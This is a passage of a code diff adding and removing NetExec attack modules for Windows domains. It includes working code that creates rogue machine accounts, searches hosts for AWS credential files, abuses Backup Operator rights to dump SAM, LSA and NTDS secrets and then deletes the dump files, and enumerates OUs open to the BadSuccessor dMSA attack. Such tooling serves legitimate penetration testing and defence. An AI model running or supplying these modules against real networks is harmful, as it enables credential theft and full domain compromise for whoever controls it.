except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
found_unused = True
else:
raise
try:
create_user = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
elif e.error_code == 0xC00002E7:
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
context.log.exception(e)
user_handle = create_user["UserHandle"]
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired = True
user_handle = None
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
else:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = check_for_user["RelativeIds"]["Element"][0]
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
user_handle = open_user["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if serv_handle is not None:
samr.hSamrCloseHandle(dce, serv_handle)
dce.disconnect()
def do_ldaps_add(self, connection, context):
"""
Performs an LDAPS add operation.
Args:
----
connection (Connection): The LDAP connection object.
context (Context): The context object.
Returns:
-------
None
Raises:
------
None
"""
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
f"HOST/{self.__computerName}",
f"HOST/{self.__computerName}.{connection.domain}",
f"RestrictedKrbHost/{self.__computerName}",
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
]
ucd = {
"dnsHostName": f"{self.__computerName}.{connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.__computerName,
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
c.bind()
if self.__delete:
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
if result:
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
else:
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
else:
result = c.add(
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
["top", "person", "organizationalPerson", "user", "computer"],
ucd
)
if result:
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
context.log.highlight("You can try to verify this with the nxc command:")
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
elif not result:
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
c.unbind()
-307
View File
@@ -1,307 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ldap3
from impacket.dcerpc.v5 import samr, epm, transport
class NXCModule:
'''
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
'''
name = 'add-computer'
description = 'Adds or deletes a domain computer'
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
'''
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
DELETE: Specify DELETE to remove a Computer
CHANGEPW: Specify CHANGEPW to modify a Computer password
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
'''
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
if 'DELETE' in module_options:
self.__delete = True
if 'CHANGEPW' in module_options and ('NAME' not in module_options or 'PASSWORD' not in module_options):
context.log.error('NAME and PASSWORD options are required!')
elif 'CHANGEPW' in module_options:
self.__noAdd = True
if 'NAME' in module_options:
self.__computerName = module_options['NAME']
if self.__computerName[-1] != '$':
self.__computerName += '$'
else:
context.log.error('NAME option is required!')
exit(1)
if 'PASSWORD' in module_options:
self.__computerPassword = module_options['PASSWORD']
elif 'PASSWORD' not in module_options and not self.__delete:
context.log.error('PASSWORD option is required!')
exit(1)
def on_login(self, context, connection):
#Set some variables
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
# First try to add via SAMR over SMB
self.doSAMRAdd(context)
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.doLDAPSAdd(connection,context)
else:
exit(1)
def doSAMRAdd(self,context):
if self.__targetIp is not None:
stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
else:
stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_dport(self.__port)
if self.__targetIp is not None:
rpctransport.setRemoteHost(self.__targetIp)
rpctransport.setRemoteName(self.__target)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpctransport.get_dce_rpc()
servHandle = None
domainHandle = None
userHandle = None
try:
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target,
samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )
servHandle = samrConnectResponse['ServerHandle']
samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
domains = samrEnumResponse['Buffer']['Buffer']
domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))
if len(domainsWithoutBuiltin) > 1:
domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight(u'{}'.format(
'This domain does not exist: "' + self.__domainNetbios + '"'))
logging.critical("Available domain(s):")
for domain in domains:
logging.error(" * %s" % domain['Name'])
raise Exception()
else:
selectedDomain = domain[0]['Name']
else:
selectedDomain = domainsWithoutBuiltin[0]['Name']
samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)
domainSID = samrLookupDomainResponse['DomainId']
if logging.getLogger().level == logging.DEBUG:
logging.info("Opening domain %s..." % selectedDomain)
samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)
domainHandle = samrOpenDomainResponse['DomainHandle']
if self.__noAdd or self.__delete:
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000073:
context.log.highlight(u'{}'.format(
self.__computerName + ' not found in domain ' + selectedDomain))
self.noLDAPRequired = True
raise Exception()
else:
raise
userRID = checkForUser['RelativeIds']['Element'][0]
if self.__delete:
access = samr.DELETE
message = "delete"
else:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)
userHandle = openUser['UserHandle']
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000022:
context.log.highlight(u'{}'.format(
self.__username + ' does not have the right to ' + message + " " + self.__computerName))
self.noLDAPRequired = True
raise Exception()
else:
raise
else:
if self.__computerName is not None:
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight(u'{}'.format(
'Computer account already exists with the name: "' + self.__computerName + '"'))
raise Exception()
except samr.DCERPCSessionError as e:
if e.error_code != 0xc0000073:
raise
else:
foundUnused = False
while not foundUnused:
self.__computerName = self.generateComputerName()
try:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000073:
foundUnused = True
else:
raise
try:
createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xc0000022:
context.log.highlight(u'{}'.format(
'The following user does not have the right to create a computer account: "' + self.__username + '"'))
raise Exception()
elif e.error_code == 0xc00002e7:
context.log.highlight(u'{}'.format(
'The following user exceeded their machine account quota: "' + self.__username + '"'))
raise Exception()
else:
raise
userHandle = createUser['UserHandle']
if self.__delete:
samr.hSamrDeleteUser(dce, userHandle)
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired=True
userHandle = None
else:
samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)
if self.__noAdd:
context.log.highlight(u'{}'.format(
'Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired=True
else:
checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
userRID = checkForUser['RelativeIds']['Element'][0]
openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)
userHandle = openUser['UserHandle']
req = samr.SAMPR_USER_INFO_BUFFER()
req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, userHandle, req)
if not self.noLDAPRequired:
context.log.highlight(u'{}'.format(
'Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
finally:
if userHandle is not None:
samr.hSamrCloseHandle(dce, userHandle)
if domainHandle is not None:
samr.hSamrCloseHandle(dce, domainHandle)
if servHandle is not None:
samr.hSamrCloseHandle(dce, servHandle)
dce.disconnect()
def doLDAPSAdd(self, connection, context):
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
'HOST/%s' % self.__computerName,
'HOST/%s.%s' % (self.__computerName, connection.domain),
'RestrictedKrbHost/%s' % self.__computerName,
'RestrictedKrbHost/%s.%s' % (self.__computerName, connection.domain),
]
ucd = {
'dnsHostName': '%s.%s' % (self.__computerName, connection.domain),
'userAccountControl': 0x1000,
'servicePrincipalName': spns,
'sAMAccountName': self.__computerName,
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0')
ldapServer = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = Connection(ldapServer, connection.username + '@' + connection.domain, connection.password)
c.bind()
if (self.__delete):
result = c.delete("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain)
if result:
context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
elif result == False and c.last_error == "noSuchObject":
context.log.highlight(u'{}'.format('Computer named "' + self.__computerName + '" was not found'))
elif result == False and c.last_error == "insufficientAccessRights":
context.log.highlight(
u'{}'.format('Insufficient Access Rights to delete the Computer "' + self.__computerName + '"'))
else:
context.log.highlight(u'{}'.format(
'Unable to delete the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
else:
result = c.add("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain,
['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd)
if result:
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
context.log.highlight(u'{}'.format('You can try to verify this with the nxc command:'))
context.log.highlight(u'{}'.format(
'nxc ldap ' + connection.host + ' -u ' + connection.username + ' -p ' + connection.password + ' -M group-mem -o GROUP="Domain Computers"'))
elif result == False and c.last_error == "entryAlreadyExists":
context.log.highlight(u'{}'.format('The Computer account "' + self.__computerName + '" already exists'))
elif not result:
context.log.highlight(u'{}'.format(
'Unable to add the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
c.unbind()
+46
View File
@@ -0,0 +1,46 @@
class NXCModule:
"""
Search for aws credentials files on linux and windows machines
Module by Fortress
"""
name = "aws-credentials"
description = "Search for aws credentials files."
supported_protocols = ["ssh", "smb", "winrm"]
def __init__(self):
self.search_path_linux = "'/home/' '/tmp/'"
self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
def options(self, context, module_options):
r"""
SEARCH_PATH_LINUX Linux location where to search for aws credentials related files
Default: "'/home/' '/tmp/'"
SEARCH_PATH_WIN Windows locations where to search for aws credentials related files
Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
"""
if "SEARCH_PATH_LINUX" in module_options:
self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
if "SEARCH_PATH_WIN" in module_options:
self.search_path_win = module_options["SEARCH_PATH_WIN"]
def on_login(self, context, connection):
# search for aws_credentials-related files on linux systems
if "ssh" in context.protocol:
search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
output = connection.execute(search_aws_creds_files_cmd)
else:
# search for aws_credentials-related files on windows systems
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
output = connection.execute(search_aws_creds_files_cmd_win, True)
if output:
context.log.success("The following files were found:")
for line in output.splitlines():
context.log.highlight(line.rstrip())
+141
View File
@@ -0,0 +1,141 @@
import time
import os
import datetime
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.paths import NXC_PATH
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
def options(self, context, module_options):
"""NO OPTIONS"""
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
self.trigger_winreg(connection.conn, context)
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved {hive} to {outputFileName}")
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(str(e))
finally:
dce.disconnect()
# copy remote file to local
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.domain_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
if self.domain_admin:
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
try:
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
for hive in ["SAM", "SECURITY", "SYSTEM"]:
try:
out = connection.conn.listPath("SYSVOL", hive)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
except SessionError as e:
context.log.debug(f"File {hive} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
def trigger_winreg(self, connection, context):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
tid = connection.connectTree("IPC$")
try:
connection.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
context.log.debug(str(e))
# Give remote registry time to start
time.sleep(1)
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
sub_key = "\\".join(key_name.split("\\")[1:])
ans = rrp.hOpenLocalMachine(dce)
h_root_key = ans["phKey"]
return h_root_key, sub_key
+221
View File
@@ -0,0 +1,221 @@
from impacket.ldap import ldaptypes
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.microsoft import security_descriptor_control
RELEVANT_OBJECT_TYPES = {
"00000000-0000-0000-0000-000000000000": "All Objects",
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
}
EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins
EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM
# Define all access rights
ACCESS_RIGHTS = {
# Generic Rights
"GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ
"GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE
"GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE
"GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL
# Maximum Allowed access type
"MaximumAllowed": 0x02000000,
# Access System Acl access type
"AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
# Standard access types
"Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE
"WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER
"WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC
"ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL
"Delete": 0x00010000, # ADS_RIGHT_DELETE
# Specific rights
"AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS
"ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT
"DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE
"WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP
"ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP
"Self": 0x00000008, # ADS_RIGHT_DS_SELF
"ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST
"DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD
"CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD
}
# Define which rights are considered relevant for potential abuse
RELEVANT_RIGHTS = {
"GenericAll": ACCESS_RIGHTS["GenericAll"],
"GenericWrite": ACCESS_RIGHTS["GenericWrite"],
"WriteOwner": ACCESS_RIGHTS["WriteOwner"],
"WriteDACL": ACCESS_RIGHTS["WriteDACL"],
"CreateChild": ACCESS_RIGHTS["CreateChild"],
"WriteProperties": ACCESS_RIGHTS["WriteProperties"],
"AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
}
FUNCTIONAL_LEVELS = {
"Windows 2000": 0,
"Windows Server 2003": 1,
"Windows Server 2003 R2": 2,
"Windows Server 2008": 3,
"Windows Server 2008 R2": 4,
"Windows Server 2012": 5,
"Windows Server 2012 R2": 6,
"Windows Server 2016": 7,
"Windows Server 2019": 8,
"Windows Server 2022": 9,
"Windows Server 2025": 10,
}
class NXCModule:
"""
-------
Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
"""
name = "badsuccessor"
description = "Check if vulnerable to bad successor attack (DMSA)"
supported_protocols = ["ldap"]
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available"""
def is_excluded_sid(self, sid, domain_sid):
if sid in EXCLUDED_SIDS:
return True
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
def get_domain_sid(self, ldap_session, base_dn):
"""Retrieve the domain SID from the domain object in LDAP"""
r = ldap_session.search(
searchBase=base_dn,
searchFilter="(objectClass=domain)",
attributes=["objectSid"]
)
parsed = parse_result_attributes(r)
if parsed and "objectSid" in parsed[0]:
return parsed[0]["objectSid"]
def find_bad_successor_ous(self, ldap_session, entries, base_dn):
domain_sid = self.get_domain_sid(ldap_session, base_dn)
results = {}
parsed = parse_result_attributes(entries)
for entry in parsed:
dn = entry["distinguishedName"]
sd_data = entry["nTSecurityDescriptor"]
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
for ace in sd["Dacl"]["Data"]:
if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
continue
has_relevant_right = False
mask = int(ace["Ace"]["Mask"]["Mask"])
for right_value in RELEVANT_RIGHTS.values():
if mask & right_value:
has_relevant_right = True
break
if not has_relevant_right:
continue # Skip this ACE if it doesn't have any relevant rights
object_type = getattr(ace, "ObjectType", None)
if object_type:
object_guid = ldaptypes.bin_to_string(object_type).lower()
if object_guid not in RELEVANT_OBJECT_TYPES:
continue
sid = ace["Ace"]["Sid"].formatCanonical()
if self.is_excluded_sid(sid, domain_sid):
continue
results.setdefault(sid, []).append(dn)
if hasattr(sd, "OwnerSid"):
owner_sid = str(sd["OwnerSid"])
if not self.is_excluded_sid(owner_sid, domain_sid):
results.setdefault(owner_sid, []).append(dn)
return results
def resolve_sid_to_name(self, ldap_session, sid, base_dn):
"""
Resolves a SID to a samAccountName using LDAP
Args:
----
ldap_session: The LDAP connection
sid: The SID to resolve
base_dn: The base DN for the LDAP search
Returns:
-------
str: The samAccountName if found, otherwise the original SID
"""
try:
search_filter = f"(objectSid={sid})"
response = ldap_session.search(
searchBase=base_dn,
searchFilter=search_filter,
attributes=["sAMAccountName"]
)
parsed = parse_result_attributes(response)
if parsed and "sAMAccountName" in parsed[0]:
return parsed[0]["sAMAccountName"]
return sid
except Exception:
return sid
def on_login(self, context, connection):
# Check for a domain controller with Windows Server 2025
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
attributes=["operatingSystem", "dNSHostName"]
)
parsed_resp = parse_result_attributes(resp)
for dc in parsed_resp:
if "2025" in dc["operatingSystem"]:
out = connection.resolver(dc["dNSHostName"])
dc_ip = out["host"] if out else "Unknown IP"
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
else:
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
# Enumerate dMSA objects
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
resp = connection.ldap_connection.search(
searchBase=connection.ldap_connection._baseDN,
searchFilter="(objectClass=organizationalUnit)",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=controls) # Fixed parameter name
context.log.debug(f"Found {len(resp)} entries")
results = self.find_bad_successor_ous(connection.ldap_connection, resp, connection.ldap_connection._baseDN)
if results:
context.log.success(f"Found {len(results)} results")
else:
context.log.highlight("No account found")
for sid, ous in results.items():
samaccountname = self.resolve_sid_to_name(
connection.ldap_connection,
sid,
connection.ldap_connection._baseDN
)
for ou in ous:
if sid == samaccountname:
context.log.highlight(f"{sid}, {ou}")
else:
context.log.highlight(f"{samaccountname} ({sid}), {ou}")
-87
View File
@@ -1,87 +0,0 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author:
# Romain Bentz (pixis - @hackanddo)
# Website:
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import sys
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
class NXCModule:
name = "bh_owned"
description = "Set pwned computer as owned in Bloodhound"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.neo4j_pass = None
self.neo4j_user = None
self.neo4j_Port = None
self.neo4j_URI = None
def options(self, context, module_options):
"""
URI URI for Neo4j database (default: 127.0.0.1)
PORT Listening port for Neo4j database (default: 7687)
USER Username for Neo4j database (default: 'neo4j')
PASS Password for Neo4j database (default: 'neo4j')
"""
self.neo4j_URI = "127.0.0.1"
self.neo4j_Port = "7687"
self.neo4j_user = "neo4j"
self.neo4j_pass = "neo4j"
if module_options and "URI" in module_options:
self.neo4j_URI = module_options["URI"]
if module_options and "PORT" in module_options:
self.neo4j_Port = module_options["PORT"]
if module_options and "USER" in module_options:
self.neo4j_user = module_options["USER"]
if module_options and "PASS" in module_options:
self.neo4j_pass = module_options["PASS"]
def on_admin_login(self, context, connection):
